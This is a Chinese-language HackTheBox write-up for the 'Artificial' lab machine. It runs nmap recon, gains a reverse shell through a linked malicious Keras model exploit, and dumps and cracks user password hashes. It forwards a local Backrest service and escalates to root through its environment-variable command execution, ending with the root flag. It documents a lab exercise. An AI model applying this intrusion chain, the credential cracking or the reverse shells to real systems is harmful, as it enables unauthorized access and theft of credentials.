<h1>Season8 - Artificial</h1>
<blockquote>
<a href="https://app.hackthebox.com/machines/Artificial">https://app.hackthebox.com/machines/Artificial</a> | <code>Linux</code> | <code>Easy</code>
</blockquote>
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image.png" alt="image.png">
<h2>Recon</h2>
<pre><code class="hljs language-bash">➜ Artificial nmap -sT -min-rate 5000 -p- 10.10.11.74 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-28 11:35 CST
Warning: 10.10.11.74 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.74
Host is up (0.045s latency).
Not shown: 41844 closed tcp ports (conn-refused), 23689 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 79.44 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Artificial nmap -sT -A -p 22,80 10.10.11.74 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-28 11:40 CST
Nmap scan report for artificial.htb (10.10.11.74)
Host is up (0.25s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 782.28 ms 10.10.16.1
2 783.23 ms artificial.htb (10.10.11.74)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.72 seconds
</code></pre>
访问 <code>HTTP</code> ，采集指纹
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image1.png" alt="image.png">
主页中还有一段关于训练模型的代码：
<pre><code class="hljs language-bash">import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers

np.random.seed(42)

# Create hourly data for a week
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100

# Create a DataFrame
data = pd.DataFrame({
 'hour': hours,
 'profit': profits
})

X = data['hour'].values.reshape(-1, 1)
y = data['profit'].values

# Build the model
model = keras.Sequential([
 layers.Dense(64, activation='relu', input_shape=(1,)),
 layers.Dense(64, activation='relu'),
 layers.Dense(1)
])

# Compile the model
model.compile(optimizer='adam', loss='mean_squared_error')

# Train the model
model.fit(X, y, epochs=100, verbose=1)

# Save the model
model.save('profits_model.h5')
</code></pre>
可以创建账户，创建<code>sunset</code>用户
进入到后台有一个文件上传功能点
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image2.png" alt="image.png">
我们使用主页上面的代码生成<code>h5</code>文件后上传，点击 <code>View Predictions</code>
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image3.png" alt="image.png">
<h2>tensorflow-rce</h2>
这里使用项目中的<code>payload</code>：<a href="https://github.com/Splinter0/tensorflow-rce/blob/main/exploit.py">tensorflow-rce/exploit.py at main · Splinter0/tensorflow-rce</a>
尝试了很久都无法弹<code>shell</code> ，所以直接构建靶机中提供的<code>Dockerfile</code>
<pre><code class="hljs language-bash">➜ ~ docker build ./ 
 => => writing image sha256:0354df82e2aa9dc1a9273186494362df152ac3d9b4d6ef2600f9d8b743909af1 
➜ ~ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
&#x3C;none> &#x3C;none> 0354df82e2aa About a minute ago 1.46GB
tomcat latest 88b0f1cee84c 3 months ago 519MB

➜ ~ docker run -it -v $(pwd):/tmp/1 0354df82e2aa

root@9e00e60448cc:/code# cd /tmp/1
root@9e00e60448cc:/tmp/1# python 1.py
2025-06-28 05:54:50.388941: I tensorflow/core/util/port.cc:110] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.
2025-06-28 05:54:50.448436: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 AVX_VNNI FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
sh: 1: nc: not found
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
 saving_api.save_model(
</code></pre>
然后将生成的<code>exploit5</code> 上传，然后点击<code>View Predictions</code>
就能将 <code>shell</code> 弹回来了
<pre><code class="hljs language-bash">➜ Artificial nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.16.7] from artificial.htb [10.10.11.74] 54280
/bin/sh: 0: can't access tty; job control turned off
$ 
</code></pre>
<h2>SQLite &#x26; Crack</h2>
查看<code>App.py</code> ，能找到<code>users.db</code>
<pre><code class="hljs language-arduino">app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
</code></pre>
<pre><code class="hljs language-bash">app@artificial:/$ find / -name 'users.db' 2>/dev/null
/home/app/app/instance/users.db
</code></pre>
将其下载下来到<code>Kali</code>
读取用户表
<pre><code class="hljs language-bash">sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|40UR|40UR@gmail.com|32311c320e01f55dfd36defb087ff344
7|aa|a@a|4124bc0a9335c27f086f24ba207a4912
8|pranay|pranay@gmail.com|51c28bd171d43e6148f6188d9b07de6c
9|1|1@ya.ru|c4ca4238a0b923820dcc509a6f75849b
10|admin|admin@artificial.htb|21232f297a57a5a743894a0e4a801fc3
11|test2@|test@mail.com|098f6bcd4621d373cade4e832627b4f6
12|ZAP|zaproxy@example.com|903a98d709fa4683aaaa036b84c125a6
13|test|test@test.com|202cb962ac59075b964b07152d234b70
14|testtest|test2@mail.com|05a671c66aefea124cc08b76ea6d30bb
15|test10|test10@test.com|5f4dcc3b5aa765d61d8327deb882cf99
16|sunset|sunset@q.com|30f80affc3322427a482878e75e4cdfc
17|test123|test123@mail.com|5f4dcc3b5aa765d61d8327deb882cf99
18|gus|gus@gmail.com|84a26c4612a7f9958174ee6552625282
19|admin5|admin5@qq.com|e10adc3949ba59abbe56e057f20f883e
20|notuser|notuser@test.com|3a117c7e3ebc3f8c215428873a6a19c4
</code></pre>
我们再看一眼靶机的家目录都有哪几个用户
<pre><code class="hljs language-bash">app@artificial:/$ ls /home
app gael
</code></pre>
所以我们直接将<code>gael</code>的那条数据进行破解
<pre><code class="hljs language-bash">➜ Artificial hash-identifier
 #########################################################################
 # __ __ __ ______ _____ #
 # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
 # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
 # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
 # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
 # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
 # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
 # By Zion3R #
 # www.Blackploit.com #
 # Root@Blackploit.com #
 #########################################################################
--------------------------------------------------
 HASH: c99175974b6e192936d97224638a34f8

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
</code></pre>
在线网站即可拿到密码 <code>mattp005numbertwo</code>
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image4.png" alt="image.png">
使用该密码进行登录
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image5.png" alt="image.png">
<h2>权限提升</h2>
<h3>Recon</h3>
查看是否存在仅在本地开放的端口
<pre><code class="hljs language-bash">gael@artificial:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process 
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* 
tcp LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:* 
tcp LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:* 
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* 
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* 
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* 
tcp LISTEN 0 511 [::]:80 [::]:* 
tcp LISTEN 0 128 [::]:22 [::]:*
</code></pre>
我们将<code>9898</code>使用<code>socat</code>转发出去
<pre><code class="hljs language-bash">gael@artificial:/tmp$ ./socat TCP-LISTEN:9899,fork tcp4:127.0.0.1:9898 &#x26;
</code></pre>
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image6.png" alt="image.png">
<blockquote>
Backrest 是建立在 restic 之上的 Web 可访问备份解决方案。Backrest 提供了一个 WebUI，它包装了 restic CLI，使创建存储库、浏览快照和恢复文件变得容易。此外，Backrest 可以在后台运行，并采取一种有主见的方法来安排快照和编排存储库运行状况作。
</blockquote>
但是需要凭据才能进行登录
<code>config.json</code> 需要<code>root</code>权限
<pre><code class="hljs language-bash">gael@artificial:/opt/backrest/.config/backrest$ ls -al
total 24
drwxr-xr-x 2 root root 4096 Jun 28 06:43 .
drwxr-xr-x 3 root root 4096 Mar 3 21:27 ..
-rw------- 1 root root 1626 Jun 28 06:43 config.json
-rw------- 1 root root 280 Jun 28 06:41 config.json.bak.2025-06-28-06-41-12
-rw------- 1 root root 850 Jun 28 06:43 config.json.bak.2025-06-28-06-43-17
-rw------- 1 root root 1087 Jun 28 06:43 config.json.bak.2025-06-28-06-43-39
</code></pre>
最后在<code>/var/baskups</code>中能找到<code>backrest_backup.tar.gz</code>
<pre><code class="hljs language-bash">gael@artificial:/var/backups$ ls -al
total 51972
drwxr-xr-x 2 root root 4096 Jun 28 06:25 .
drwxr-xr-x 13 root root 4096 Jun 2 07:38 ..
-rw-r--r-- 1 root root 51200 Jun 28 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 38602 Jun 9 10:48 apt.extended_states.0
-rw-r--r-- 1 root root 4253 Jun 9 09:02 apt.extended_states.1.gz
-rw-r--r-- 1 root root 4206 Jun 2 07:42 apt.extended_states.2.gz
-rw-r--r-- 1 root root 4190 May 27 13:07 apt.extended_states.3.gz
-rw-r--r-- 1 root root 4383 Oct 27 2024 apt.extended_states.4.gz
-rw-r--r-- 1 root root 4379 Oct 19 2024 apt.extended_states.5.gz
-rw-r--r-- 1 root root 4367 Oct 14 2024 apt.extended_states.6.gz
-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 backrest_backup.tar.gz
-rw-r--r-- 1 root root 268 Sep 5 2024 dpkg.diversions.0
-rw-r--r-- 1 root root 135 Sep 14 2024 dpkg.statoverride.0
-rw-r--r-- 1 root root 696841 Jun 9 10:48 dpkg.status.0
</code></pre>
<pre><code class="hljs language-bash">gael@artificial:/var/backups$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
</code></pre>
我们将其下载到<code>kali</code> ，解压后就可以访问到备份的<code>backrest/.config/backrest/config.json</code>
<pre><code class="hljs language-bash">➜ backrest cat config.json 
{
 "modno": 2,
 "version": 4,
 "instance": "Artificial",
 "auth": {
 "disabled": false,
 "users": [
 {
 "name": "backrest_root",
 "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
 }
 ]
 }
}
</code></pre>
对其进行<code>base64</code>解码
<pre><code class="hljs language-bash">➜ backrest echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO# 
</code></pre>
再进行破解
<pre><code class="hljs language-bash">➜ Artificial john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^ (?) 
1g 0:00:00:37 DONE (2025-06-28 15:16) 0.02643g/s 142.7p/s 142.7c/s 142.7C/s lightbulb..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
</code></pre>
最后得到密码：<code>!@#$%^</code>
使用凭据成功进入后台
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image7.png" alt="image.png">
因为服务是通过 <code>root</code>权限运行的，我们可以设置存储库到<code>root</code>的家目录中，BackrestWiki：<a href="https://garethgeorge.github.io/backrest/introduction/getting-started">https://garethgeorge.github.io/backrest/introduction/getting-started</a>
添加存储库时，我们可以存储库文档
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image8.png" alt="image.png">
并且可以通过环境变量进行命令执行
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image9.png" alt="image.png">
设置环境变量
<img src="/post-images/HackTheBoxSeason8%20-%20Artificial/image10.png" alt="image.png">
我们点击 “<code>submit</code>”时就能将<code>Root shell</code>弹过来
<pre><code class="hljs language-bash">➜ Artificial nc -lvp 1234 
listening on [any] 1234 ...
connect to [10.10.16.7] from artificial.htb [10.10.11.74] 57440
bash: cannot set terminal process group (142145): Inappropriate ioctl for device
bash: no job control in this shell
root@artificial:/# 
</code></pre>
<pre><code class="hljs language-bash">root@artificial:~# cat root.txt
cat root.txt
9e4004a41e01a3f1170e16adc14db0d9
</code></pre>
<h2>总结</h2>
两周都在弄期末作业，没时间打，最后一天才上来打。偏偏刚好还得了急性肠胃炎，肚子一直滚，脑子里冰火两重天，相似。

Season8 Artificial https://app.hackthebox.com/machines/Artificial | Linux | Easy Recon 访问 HTTP ，采集指纹 主页中还有一段关于训练模型的代码： 可以创建账户，创建sunset用户 进入到后台有一个文件上传功...

HackTheBox - Machine - Artificial

TheHackersLabs - Luna